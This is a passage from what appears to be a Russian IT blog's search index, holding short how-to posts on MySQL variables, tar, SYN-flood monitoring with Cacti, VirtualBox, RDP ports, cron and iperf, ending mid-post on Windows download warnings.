сканируемой таблицы. При частом последовательном сканировании, рекомендуется увеличить значение данной переменной.read_onlyДанная переменная применяется на подчиненном сервере репликации. Если ее значение установлено в ON, изменения принимаются только с основного сервера репликации, но не от клиентов.relay_log_purgeУправление режимом удаления старых журнальных файлов. ON - режим очистки включен OFF - режим очистки выключен Введена с версии MySQL 4.1.1. read_rnd_buffer_sizeРазмер буфера, выделяемого для чтения строк после сортировки, что-бы избежать повторного поиска на диске. Увеличение значения данной переменной может существенно увеличить эффективность конструкции ORDER BY.Имейте в виду, так как данный буфер выделяется для каждого клиента, не следует устанавливать чересчур большое значение. rpl_recovery_rankНе используетсяsecure_authРазрешить-ли использование паролей в старом формате. Включение данной переменной равнозначно использованию параметра --secure-auth при запуске MySQL сервера. ON - разрешить OFF - запретить server_idИспользуется для присвоения MySQL серверу уникального ID. Так-же можно использовать параметр командной строки --server-id при запуске сервера.shared_memoryРазрешено-ли использовать разделяемую память соединений. Применяется только в операционной системе Windows. ON - разрешить OFF - запретить shared_memory_base_nameИмя для разделяемой памяти соединений. Применяется для запуска нескольких MySQL серверов. Используется только в Windows.Введена с версии 4.1.1. skip_external_lockingИспользование MySQL сервером внешних блокировок. ON - включить OFF - выключить skip_networkingПринимать-ли MySQL серверу TCP/IP соединения по сети, или разрешить только локальные. ON - принимать только локальные соединения OFF - принимать TCP/IP соединения по сети skip_show_databaseОграничивает использование оператора SHOW DATABASES( вывести список таблиц ). ON - разрешает использовать оператор SHOW DATABASES только пользователям имеющим привилегию SHOW DATABASES или привилегии для доступа к базе данных OFF - оператор SHOW DATABASES могут использовать все пользователи slave_compressed_protocolИспользовать сжатие при обмене данными между основным и подчиненным серверами репликации. Сжатие данных возможно только если его поддерживают оба сервера. ON - использовать сжатие OFF - не использовать сжатие slave_load_tmpdirПуть к папке временных файлов подчиненного сервера для репликации оператора LOAD DATA INFILE.slave_net_timeoutВремя, которое подчиненный сервер будет ожидать данные с главного сервера, прежде чем разорвать соединение.slave_skip_errorsПри включении данной переменной, значение ON, подчиненный сервер будет игнорировать ошибки репликации.slow_launch_timeЕсли превышается значение этой переменной, сервер увеличивает значение счетчика slow_launch.slow_query_logУправление логгированием медленных запросов. Можно использовать параметр запуска --log-slow-queries. ON - включить OFF - выключить Введена с версии 5.1.12 slow_query_log_fileИмя для файла медленных запросов. Можно установить при запуске MySQL сервера, параметром --log-slow-queries.Введена с версии 5.1.12 socketПуть к файлу UNIX-сокета, используемого для соединения с клиентами. В системе Windows - имя именованного канала для локальных соединений.sort_buffer_sizeРазмер буфера, выделяемого на поток при выполнении операций сортировки. Для ускорения операций ORDER BY, GROUP BY рекомендуется увеличить данное значение.sql_modeРежим работы MySQL-сервера.sql_slave_skip_counterДанная переменная определяет, какое количество событий основного сервера, должен проигнорировать подчиненный сервер репликации.ssl_caПуть к файлу листа доверия SSL CA.Введена с версии MySQL 5.1.11. ssl_capathПуть к каталогу с SSL сертификатом.Введена с версии MySQL 5.1.11. ssl_certПеременная задает имя SSL сертификата, используемого для SSL соединений.Введена с версии MySQL 5.1.11. ssl_cipherСписок разрешенных для SSL алгоритмов шифрования.ssl_keyИмя файла ключей для SSL соединений.storage_engineПеременная является синонимом table_type.sync_binlogСинхронизация данных в памяти с жестким диском. Включение данной переменной снижает вероятность потери данных, но плата за это - некоторое снижение производительности. 0 - не производить синхронизацию. 1 - синхронизировать данные после записи в журнал команды sync_binlog. Введена с версии MySQL 4.1.3. sync_frmПри установке значения 1, при создании любого не временного файла, данные в оперативной памяти синхронизируются с диском.Введена с версии MySQL 4.1.3. system_time_zoneДанная переменная содержит информацию о часовом поясе, которая извлекается из операционной системы при старте MySQL сервера. При необходимости, с помощью этой переменной, можно скорректировать часовой пояс, но предпочтительней воспользоваться переменной time_zone, устанавливающей часовой пояс для конкретного соединения а не для всего сервера.table_cacheСтарое название для переменной table_open_cache.Начиная с версии MySQL 5.1.3, следует использовать именно table_open_cache. table_definition_cacheПеременная задает количество идентификаторов, которые могут храниться в кэше определений. При использовании большого количества таблиц, имеет смысл увеличить значение данной переменной для повышения производительности.Появилась с версии MySQL 5.1.3. table_lock_wait_timeoutВремя ожидания блокировки таблицы. Значение по-умолчанию - 50 секунд.Появилась с версии MySQL 5.0.10. table_open_cacheМаксимально разрешенное количество открытых таблиц.table_typeВ данной переменной содержится тип таблицы по-умолчанию ( MyISAM, InnoDB или BDB ).thread_cache_sizeДанная переменная определяет, сколько потоков, сервер должен поместить в кэш для повторного использования. После отключения клиента, потоки не удаляются а помещаются в кэш, как только MySQL серверу понадобятся новые потоки, он берет их из кэша. Новые потоки создаются только в случае, если кэш пуст. Увеличение значения этой переменной может повысить производительность MySQL сервера, но только в системах с хорошей реализацией потоков.thread_concurrencyВ некоторых операционных системах, с помощью этой переменной, можно задать количество одновременно запускаемых потоков.thread_stackДанная переменная задает размер стека для каждого потока.time_formatВ настоящий момент не используется.time_zoneПеременная определяет текущий часовой пояс.tmp_table_sizeЕсли размер временной превышает размер, установленный этой переменной, она сбрасывается на диск. При наличии достаточного количества памяти на сервере, рекомендуется повысить значение данной переменной, по ускорения запросов с конструкцией GROUP BY.tmpdirПуть к каталогу для временных таблиц и файлов. Начиная с версии MySQL 4.1, этой переменной можно присваивать список путей, разделенных двоеточием \":\" ( для Windows, Netware и OS/2 в качестве разделителя используется точка с запятой \";\" ).transaction_alloc_block_sizeРазмер блоков памяти, выделяемых для сохранения запросов, являющихся частью транзакции, в бинарный журнал регистрации.transaction_prealloc_sizeПеременная задает размер постоянного буфера, выделяемого для сохранения запросов, являющихся частью транзакции, в бинарный журнал регистрации. Данный буфер не высвобождается в промежутках между запросами.tx_isolationЗадает уровень локализации транзакций по-умолчанию.updatable_views_with_limitПеременная определяет, можно-ли использовать обновления с помощью оператора UPDATE, у которого отсутствует условие WHERE со ссылкой на первичный ключ или индекс. 1 или YES - подобное обновление разрешено, при этом выдается предупреждение. 0 или NO - подобное обновление не допускается. Переменная введена с версии MySQL 5.0.2. versionСодержит версию MySQL сервера.version_bdbСодержит версию BDB движка.version_commentКомментарий к текущей версии MySQL сервера.version_compile_machineТип архитектуры, для которой была скомпилирована данная версия MySQL сервера.version_compile_osТип операционной системы, для которой скомпилирована данная версия MySQL сервера.wait_timeoutТаймаут в течение которого MySQL сервер ожидает активности от неинтерактивного соединения, прежде чем закрыть его. Ссылки:\nСистемные переменные MySQL сервера, файл my.cnf ","permalink":"https://blog.xsk.in/it/tonkaya-nastrojka-mysql/228/","summary":"\u003cp\u003eMySQL-сервер содержит большое количество системных переменных, с помощью которых можно производить его тонкую настройку. Глобальные переменные описываются в файле конфигурации my.cnf.\u003cbr\u003e\nПолучить полный список системных переменных в консольном клиенте mysql, можно с помощью команды\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emysql\u0026gt; SHOW VARIABLES\\g\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eЧасть системных переменных, можно переопределить динамически, то-есть во время работы MySQL сервера, с помощью команды \u003cstrong\u003eSET\u003c/strong\u003e.\u003c/p\u003e","title":"Тонкая настройка MySQL"},{"content":"Памятка по работе с архивами в unix:\ntar xvfz *.tar.gz где:\nx - позволяет вам извлекать файлы из архива. v - делает вывод tar подробным. Это означает, что на экран будут выведены все найденные в архиве файлы. Если эта опция опущена, информация, выводимая в процессе обработки, будет ограничена. f - является обязательной опцией. Без неё tar пытается использовать магнитную ленту вместо файла архива. z - позволяет вам обрабатывать архив, сжатый gzip\u0026rsquo;ом (с расширением .gz). Если вы забудете указать эту опцию, tar выдаст ошибку. И наоборот, эта опция не должна использоваться для несжатых архивов. Ссылки:\nhttp://citkit.ru/articles/645/ ","permalink":"https://blog.xsk.in/it/raspakovka-tar-gz/222/","summary":"\u003cp\u003e\u003cstrong\u003eПамятка по работе с архивами в unix:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003etar xvfz *.tar.gz\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eгде:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ex - позволяет вам извлекать файлы из архива.\u003c/li\u003e\n\u003cli\u003ev - делает вывод tar подробным. Это означает, что на экран будут выведены все найденные в архиве файлы. Если эта опция опущена, информация, выводимая в процессе обработки, будет ограничена.\u003c/li\u003e\n\u003cli\u003ef - является обязательной опцией. Без неё tar пытается использовать магнитную ленту вместо файла архива.\u003c/li\u003e\n\u003cli\u003ez - позволяет вам обрабатывать архив, сжатый gzip\u0026rsquo;ом (с расширением .gz). Если вы забудете указать эту опцию, tar выдаст ошибку. И наоборот, эта опция не должна использоваться для несжатых архивов.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cem\u003eСсылки:\u003c/em\u003e\u003c/p\u003e","title":"Распаковка tar.gz"},{"content":"В статье описаны методы определения и динамической защиты, а также реализация мониторинга SYN-flood атак по SNMP с помощью инструментария Cacti. Материал является частичным переводом документации с официального сайта разработчика метода и содержит, помимо всего остального, дополнения для корректной работы в системе.\nПринцип динамической защиты заключается в подстройке параметров систем Linux и FreeBSD для работы с TCP в зависимости от величины очереди на SYN. В процессе работы по cron\u0026rsquo;у или периодическому запуску пуллером из Cacti скрипт проверяет значение очереди и регулирует подстроечные параметры ядра для снижения порога.\nУстановка и настройка сводится к следующему:\nСкачать архив с исполняемым скриптом и файлом конфигурации synflood-defender\nРаспаковать архив в систему и изменить путь внутри sh-файла на валидный\nВнести изменения в файл snmpd.conf (с аналогичной адаптацией)\n# Synflood-Defender extension extend synflooddefender /change/this/programpath/synflood-defender.sh Перечитать и перезапустить SNMP daemon. Это приведет к добавлению в дерево MIB нового OID, позже используемого Cacti:\nNET-SNMP-EXTEND-MIB::nsExtendOutLine.\u0026#34;synflooddefender\u0026#34;.1 Скачать темплейты для Cacti по ссылке выше (Tarball) и импортировать их в веб-приложение\nДобавить сбор данных для устройства:\nперейти Console » Management » Data Sources нажать Add в правом верхнем углу выбрать Selected Data Template: Synflood-Defender выбрать устройство в поле Host подтвердить выбор кнопкой Create Создать график:\nперейти Console » Management » Graph Management нажать Add в правом верхнем углу выбрать Selected Graph Template: Synflood-Defender указать устройство в поле Host после нажатия Create указать Data Source: Synflood-Defender В процессе развертывания комплекса на системе под управлением Linux Ubuntu в логи Cacti повалили ошибки:\n07/01/2013 10:25:02 PM - CMDPHP: Poller[0] Host[1] DS[55] WARNING: Result from SNMP not valid. Partial Result: U 07/01/2013 10:25:02 PM - CMDPHP: Poller[0] WARNING: SNMP Get Timeout for Host:\u0026#39;127.0.0.1\u0026#39;, and OID:\u0026#39;NET-SNMP-EXTEND-MIB::nsExtendOutLine.\u0026#34;synflooddefender\u0026#34;.1\u0026#39; При это скрипт работал исправно при запуске вручную из консоли. Попытка получения данных посредством snmp запроса выдала ошибку:\n# snmpwalk -v2c -c public localhost NET-SNMP-EXTEND-MIB NET-SNMP-EXTEND-MIB: Unknown Object Identifier (Sub-id not found: (top) -\u0026gt; NET-SNMP-EXTEND-MIB) Это означало, что в системе не хватает определений MIB. Решение тривиальное - доустановить их:\napt-get install snmp-mibs-dowloader Ссылки:\nСтатья на Хабре Официальный сайт разработчика Решение ошибки с MIB ","permalink":"https://blog.xsk.in/it/monitoring-ddos-atak-syn-flood-po-snmp/216/","summary":"\u003cp\u003eВ статье описаны методы определения и динамической защиты, а также реализация мониторинга SYN-flood атак по SNMP с помощью инструментария Cacti. Материал является частичным переводом документации с официального сайта разработчика метода и содержит, помимо всего остального, дополнения для корректной работы в системе.\u003c/p\u003e","title":"Мониторинг DDoS атак типа SYN-flood по SNMP"},{"content":"В Google Drive отсутствует встроенная поддержка протокола WebDAV. Реализовать данную возможность в Windows можно с помощью сторонних сервисов, одним из которых является DAV-pocket Lab.\nПошаговая инструкция по настройке сетевого диска с содержимым Google Drive для Windows под катом:\nЗарегистрироваться на сайте https://dav-pocket.appspot.com/signup (любые данные, можно отличные от гугловых)\nКликнуть на \u0026ldquo;Authorize DAV-pocket service\u0026rdquo;\n\u0026ldquo;Предоставить доступ\u0026rdquo; сервису к диску гугла\nСохранить страницу с результатом (нужна дальше):\nServer Address: https://dav-pocket.appspot.com/docso\nLogin: login for this account.\nPassword: password for this account.\nВ проводнике Windows кликнуть в верхнем меню \u0026ldquo;Подключить сетевой диск\u0026rdquo;\nУказать в качестве пути адрес сервера с сохраненной ранее страницы результатов, выбрать любую букву диска, установить галку \u0026ldquo;Использовать другие учетные данные\u0026rdquo; и (если требуется автоматическое монтирование диска при входе в систему) \u0026ldquo;Восстанавливать при входе в систему\u0026rdquo;.\nПосле нажатия \u0026ldquo;Готово\u0026rdquo; в появившемся окне авторизации ввести логин и пароль со страницы результатов.\n","permalink":"https://blog.xsk.in/it/dostup-k-google-drive-webdav-windows/211/","summary":"\u003cp\u003eВ Google Drive отсутствует встроенная поддержка протокола WebDAV. Реализовать данную возможность в Windows можно с помощью сторонних сервисов, одним из которых является DAV-pocket Lab.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/06/dav-pockey.png\"\u003e\u003cimg alt=\"dav pocket\" loading=\"lazy\" src=\"/wp-content/uploads/2013/06/dav-pockey-300x181.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eПошаговая инструкция по настройке сетевого диска с содержимым Google Drive для Windows под катом:\u003c/p\u003e","title":"Доступ к Google Drive через WebDAV в Windows"},{"content":"В последних версиях торрент-клиента µTorrent над главным полем программы появилась строка рекламы:\nУбрать её можно следующим образом:\nНажать Настройки -\u0026gt; Настройки программы (или Ctrl+P) Выбрать вкладку \u0026ldquo;Дополнительно\u0026rdquo; С помощью поиска найти и изменить значения параметров offers.left_rail_offer_enabled и offers.sponsored_torrent_offer_enabled на false. Для этого необходимо дважды щелкнуть по параметру левой кнопкой мыши. После перезапуска программы рекламы сверху, а также информации о uTorrent Plus сбоку (которую мы выключили первым параметром) не будет.\nСсылки:\nhttp://lifehacker.ru/2012/12/05/kak-otklyuchit-reklamu-v-utorrent-3-2-2/ ","permalink":"https://blog.xsk.in/it/kak-otklyuchit-reklamu-v-utorrent/196/","summary":"\u003cp\u003eВ последних версиях торрент-клиента µTorrent над главным полем программы появилась строка рекламы:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/05/torrent_adblock.png\"\u003e\u003cimg alt=\"torrent_adblock\" loading=\"lazy\" src=\"/wp-content/uploads/2013/05/torrent_adblock-300x150.png\"\u003e\u003c/a\u003eУбрать её можно следующим образом:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eНажать Настройки -\u0026gt; Настройки программы (или Ctrl+P)\u003c/li\u003e\n\u003cli\u003eВыбрать вкладку \u0026ldquo;Дополнительно\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eС помощью поиска найти и изменить значения параметров offers.left_rail_offer_enabled и offers.sponsored_torrent_offer_enabled на false. Для этого необходимо дважды щелкнуть по параметру левой кнопкой мыши.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/05/torrent_adblock_del.png\"\u003e\u003cimg alt=\"torrent_adblock_del\" loading=\"lazy\" src=\"/wp-content/uploads/2013/05/torrent_adblock_del-300x224.png\"\u003e\u003c/a\u003eПосле перезапуска программы рекламы сверху, а также информации о uTorrent Plus сбоку (которую мы выключили первым параметром) не будет.\u003c/p\u003e","title":"Как отключить рекламу в uTorrent"},{"content":"Что делать, если после переустановки операционной системы у вас остались старые образы виртуальных машин, а свежеустановленная VirtualBox не хочет их добавлять в оснастку?\nЕсли перед переустановкой существующие сконфигурированные виртуальные машины не были импортированы, то после установки на свежую систему VirtualBox можно добавить существующие машины следующим образом:\nДобавляем в VirtualBox машину с таким же именем, как и у старой (имя, как правило, соответствует названию папки и образа), создаем при добавлении раздел любого размера с тем же именем. Выключаем программу и подменяем созданную папку с дисками, снапшотами и прочей ерундой на ту, которую хотим добавить Включаем обратно и видим, что программа не смогла идентифицировать подсунутые нами файлы из-за разницы в UUID диска. Запоминаем примерное содержимое UUID (особенно, если в новой пограмме уже много виртуалок) и путь до файла конфигурации. Выключив VirtualBox, идем по указанному в ошибке пути и находим в xml-файле \u0026ldquo;неверный\u0026rdquo; UUID, его нетрудно найти по цифрам. Подменяем его на \u0026ldquo;верный\u0026rdquo;, который был у старой виртуалки. Если не помним, не знаем и тд, то сначала делаем новый командой в папке с VitualBox: VBoxManage internalcommands sethduuid \u0026lt;путь к диску\u0026gt; Снова заходим в программу и видим, что она уже согласна работать с нашей машиной, нашла все конфиги и даже список снапшотов, если таковой имел место быть. Ссылки:\nhttp://sashker.blogspot.ru/2009/12/uuid-virtualbox.html ","permalink":"https://blog.xsk.in/it/vozvrashhaem-virtual-ny-e-mashiny-v-virtualbox-posle-pereustanovki-os/189/","summary":"\u003cp\u003eЧто делать, если после переустановки операционной системы у вас остались старые образы виртуальных машин, а свежеустановленная VirtualBox не хочет их добавлять в оснастку?\u003cimg loading=\"lazy\" src=\"/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\"\u003e\u003c/p\u003e\n\u003cp\u003eЕсли перед переустановкой существующие сконфигурированные виртуальные машины не были импортированы, то после установки на свежую систему VirtualBox можно добавить существующие машины следующим образом:\u003c/p\u003e","title":"Возвращаем виртуальные машины в VirtualBox после переустановки ОС"},{"content":"По умолчанию сервер терминалов и службы терминалов Windows для клиентских подключений используют TCP-порт 3389. Однако, можно изменить его на любой другой в случае необходимости.\nДля изменения порта, используемого по умолчанию для всех создаваемых сервером терминалов новых подключений, выполните следующие действия:\nЗапустите программу Regedit и откройте следующий раздел реестра:HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp Найдите в подразделе «PortNumber» значение 00000D3D (3389 в шестнадцатеричном формате). Измените номер порта и сохраните новое значение. Чтобы изменить порт для определенного подключения на сервере терминалов, выполните следующие действия:\nЗапустите программу Regedit и откройте следующий раздел реестра: HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\подключение Найдите в подразделе «PortNumber» значение 00000D3D (3389 в шестнадцатеричном формате). Измените номер порта и сохраните новое значение. Изменения вступят в силу после перезагрузки компьютера. Если в системе используется брандмауэр или сторонний файервол, не забудьте добавить правила для исходящих соединений, разрешающие доступ по указанному вами TCP порту.\nСсылки:\nhttp://support.microsoft.com/kb/187623/ru ","permalink":"https://blog.xsk.in/it/kak-izmenit-port-rdp-po-umolchaniyu-3389/192/","summary":"\u003cp\u003eПо умолчанию сервер терминалов и службы терминалов Windows для клиентских подключений используют TCP-порт 3389. Однако, можно изменить его на любой другой в случае необходимости.\u003c/p\u003e\n\u003cp\u003eДля изменения порта, используемого по умолчанию для всех создаваемых сервером терминалов новых подключений, выполните следующие действия:\u003c/p\u003e","title":"Как изменить порт RDP по умолчанию (3389)"},{"content":"Чтобы при подключении к компьютеру с Windows на борту по локальной сети в списке расшаренных ресурсов не было папки \u0026ldquo;Назначенние задания\u0026rdquo; и \u0026ldquo;Принтеры и факсы\u0026rdquo; выполняем следующие манипуляции:\nОткрываем реестр\nНаходим ветку HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RemoteComputer\\NameSpace\nУдаляем полностью дочерние ветки\n{2227A280-3AEA-1069-A2DE-08002B30309D} - Принтеры {D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Задания Чтобы скрыть «Общие документы» (Shared Documents) удаляем по пути HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\My Computer\\NameSpace\\DelegateFolders ветку {59031a47-3f72-44a7-89c5-5595fe6b30ee}.\nСсылки:\nhttp://olikart.blogspot.ru/2011/08/blog-post_02.html ","permalink":"https://blog.xsk.in/it/delete-share-windows-tasks-i-printers/185/","summary":"\u003cp\u003eЧтобы при подключении к компьютеру с Windows на борту по локальной сети в списке расшаренных ресурсов не было папки \u0026ldquo;Назначенние задания\u0026rdquo; и \u0026ldquo;Принтеры и факсы\u0026rdquo; выполняем следующие манипуляции:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eОткрываем реестр\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eНаходим ветку HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RemoteComputer\\NameSpace\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eУдаляем полностью дочерние ветки\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e{2227A280-3AEA-1069-A2DE-08002B30309D} - Принтеры\u003c/li\u003e\n\u003cli\u003e{D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Задания\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eЧтобы скрыть «Общие документы» (Shared Documents) удаляем по пути HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\My Computer\\NameSpace\\DelegateFolders ветку {59031a47-3f72-44a7-89c5-5595fe6b30ee}.\u003c/p\u003e","title":"Как убрать из расшаренных ресурсов \"Назначенные задания\" и \"Принтеры и факсы\""},{"content":"При попытке установить Windows XP c USB Flash Drive возникает сообщение \u0026ldquo;inf-файл txtsetup.sif испорчен или отсутствует, состояние 18\u0026rdquo;.\nЧтобы обойти эту ошибку достаточно:\nСкопировать файл txtsetup.sif из папки I386 в корневую папку флешки. Переименовать папку I386 в $WIN_NT$.~BT Ссылки:\nГугл-ответы ","permalink":"https://blog.xsk.in/it/inf-file-txtsetup-sif-isporchen/182/","summary":"\u003cp\u003eПри попытке установить Windows XP c USB Flash Drive возникает сообщение \u0026ldquo;inf-файл txtsetup.sif испорчен или отсутствует, состояние 18\u0026rdquo;.\u003c/p\u003e\n\u003cp\u003eЧтобы обойти эту ошибку достаточно:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eСкопировать файл \u003cem\u003etxtsetup.sif\u003c/em\u003e из папки \u003cem\u003eI386\u003c/em\u003e в корневую папку флешки.\u003c/li\u003e\n\u003cli\u003eПереименовать папку \u003cem\u003eI386\u003c/em\u003e в \u003cem\u003e$WIN_NT$.~BT\u003c/em\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eСсылки:\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://otvety.google.ru/otvety/thread?tid=713a09faab6ecf4a\"\u003eГугл-ответы\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"inf-файл txtsetup.sif испорчен"},{"content":"Для составления списка заданий, запускаемых для каждого конкретного пользователя, в Linux используется файл /etc/crontab. Этот файл имеет специальные инструменты редактирования, а его использование позволяет не прерывать работу запущенного демона cron.\nСогласно Wiki,\ncron — демон-планировщик задач в UNIX-подобных операционных системах, использующийся для периодического выполнения заданий в определённое время.\nРедактирование файла crontab осуществляется с помощью одноименной утилиты:\ncrontab -e\nУ файла имеется строго заданная структура:\n* * * * * user выполняемая команда - - - - - - | | | | | |--- Имя пользователя | | | | ------ День недели (0 - 7) (Воскресенье =0 или =7) | | | -------- Месяц (1 - 12) | | ---------- День (1 - 31) | ------------ Час (0 - 23) -------------- Минута (0 - 59) Таблица crontab состоит из 7 колонок, разделенных пробелом или знаком табуляции. Первые 5 могут содержать число, список числе через запятую, диапазон чисел через дефис или знак \u0026ldquo;*\u0026rdquo;. Предпоследняя колонка содержит имя пользователя, из-под которого запускается задание. Последняя колонка интерпретируется как выполняемая команда и её параметры.\nДля упрощения работы с планировщиком заданий в Linux существуют графические редакторы, а также онлайн-генераторы.\nСсылки:\nОнлайн-редактор на js Cron на Wiki ","permalink":"https://blog.xsk.in/it/cron-daemon-tasksheduler-linux/180/","summary":"\u003cp\u003eДля составления списка заданий, запускаемых для каждого конкретного пользователя, в Linux используется файл /etc/\u003cem\u003ecrontab\u003c/em\u003e. Этот файл имеет специальные инструменты редактирования, а его использование позволяет не прерывать работу запущенного демона \u003cem\u003ecron\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eСогласно Wiki,\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003ecron\u003c/strong\u003e — \u003ca href=\"http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BC%D0%BE%D0%BD_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0%29\" title=\"Демон (программа)\"\u003eдемон\u003c/a\u003e-\u003ca href=\"http://ru.wikipedia.org/wiki/%D0%9F%D0%BB%D0%B0%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D1%89%D0%B8%D0%BA_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87_%28%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%29\" title=\"Планировщик задач (сервис)\"\u003eпланировщик задач\u003c/a\u003e в \u003ca href=\"http://ru.wikipedia.org/wiki/UNIX\"\u003eUNIX\u003c/a\u003e-подобных \u003ca href=\"http://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0\" title=\"Операционная система\"\u003eоперационных системах\u003c/a\u003e, использующийся для периодического выполнения заданий в определённое время.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"cron — демон-планировщик задач в Linux"},{"content":"Iperf — кроссплатформенная консольная клиент-серверная программа — генератор TCP и UDP трафика для тестирования пропускной способности сети.\nВерсия для windows - iperf.zip, утилита в 108КБ, содержащая серверную и клиентскую части.\nЗапуск в качестве сервера iperf -s\nЗапуск в качестве клиента iperf -c 127.0.0.1 (где 127.0.0.1 - адрес сервера)\nПо умолчанию используется TCP порт 5001, тестирование проходит в течение 10 секунд. Этого вполне достаточно для быстрой оценки скорости соединения, однако возможности программы этим не ограничиваются. Имеется множество дополнительных опций:\n-f - в каком формате показывать скорость (Kbits, Mbits, KBytes, Mbytes); -i - с какими интервалами отображать промежуточные результаты; -l — размер буфера (по умолчанию 8 KB); -m — показывать максимальный размер TCP сегмента (MSS); -p — указать порт, по которому будет происходить соединение (по умолчанию 5001); -u — использовать UDP вместо TCP; -w — размер окна TCP; -B — указание для сервера, на каком интерфейсе принимать трафик; -C — режим совместимости со старыми версиями; -M — позволяет изменить максимальный размер TCP сегмента (MSS); -N — меняет некоторые опции TCP (отключение алгоритма Нагла); -V — использовать IPV6; -h — вывод справки. Опции для сервера:\n-s — запустить как сервер и отображать всю информацию на экран; -D — запустить как сервис (в фоновом режиме) и не отображать информацию. Опции клиента:\n-b - используемая полоса для UDP (по умолчанию 1Mbit/sec); -c - запустить как клиент и соединиться с сервером; -d — тестировать линию в обе стороны; -n — установить размер передаваемого трафика (нельзя использовать c ключом -t); -r — не делать двунаправленное тестирование; -t - указать время тестирования (по умолчанию 10 сек); -F — не генерировать трафик, а передавать готовый файл; -I — ввод данных, передаваемых из STDIN (стандартный поток ввода); -L - порт, на котором клиент будет принимать двунаправленный трафик; -P - запуск нескольких потоков параллельно; -T - время жизни пакета для групповой рассылки (по умолчанию 1). Существует также графический вариант программы, именуемый jperf, который требует наличия установленной на компе Java платформы.\nСсылки:\nhttp://iperf.sourceforge.net/ ","permalink":"https://blog.xsk.in/it/izmeryaem-skorost-seti-s-pomoshh-yu-iperf/166/","summary":"\u003cp\u003e\u003cstrong\u003eIperf\u003c/strong\u003e — кроссплатформенная консольная клиент-серверная программа — генератор \u003ca href=\"http://ru.wikipedia.org/wiki/TCP\"\u003eTCP\u003c/a\u003e и \u003ca href=\"http://ru.wikipedia.org/wiki/UDP\"\u003eUDP\u003c/a\u003e трафика для тестирования пропускной способности сети.\u003c/p\u003e\n\u003cp\u003eВерсия для windows - \u003ca href=\"/wp-content/uploads/2013/04/iperf.zip\"\u003eiperf.zip\u003c/a\u003e, утилита в 108КБ, содержащая серверную и клиентскую части.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eЗапуск в качестве сервера\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003eiperf -s\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/04/iperf1.png\"\u003e\u003cimg alt=\"iperf1\" loading=\"lazy\" src=\"/wp-content/uploads/2013/04/iperf1-300x151.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eЗапуск в качестве клиента\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003eiperf -c 127.0.0.1\u003c/strong\u003e\u003c/em\u003e (где 127.0.0.1 - адрес сервера)\u003c/p\u003e","title":"Измеряем скорость сети с помощью iperf"},{"content":"После закачки файлов приложений через браузер при запуске срабатывает система безопасности Windows, оповещающая пользователя о возможной угрозе:\nИ если в этом данном случае, чтобы избежать повторного появления назойливого предупреждения, достаточно снять галочку \u0026ldquo;Всегда спрашивать при открытии этого файла\u0026rdquo;, то избавиться от сообщений системы при установке приложений из локальной шары уже не так просто.\nВпрочем, отключить все эти предупреждения можно быстро и эффективно.\nЗапускаем браузер Internet Explorer и переходим к настройкам безопасности (\u0026lt;ALT\u0026gt; -\u0026gt; Сервис -\u0026gt; Свойства браузера -\u0026gt; Безопасность). Выбираем \u0026ldquo;Интернет\u0026rdquo; для отключения абсолютно всех сообщений или другую зону для менее радикального устранения окна. Жмём 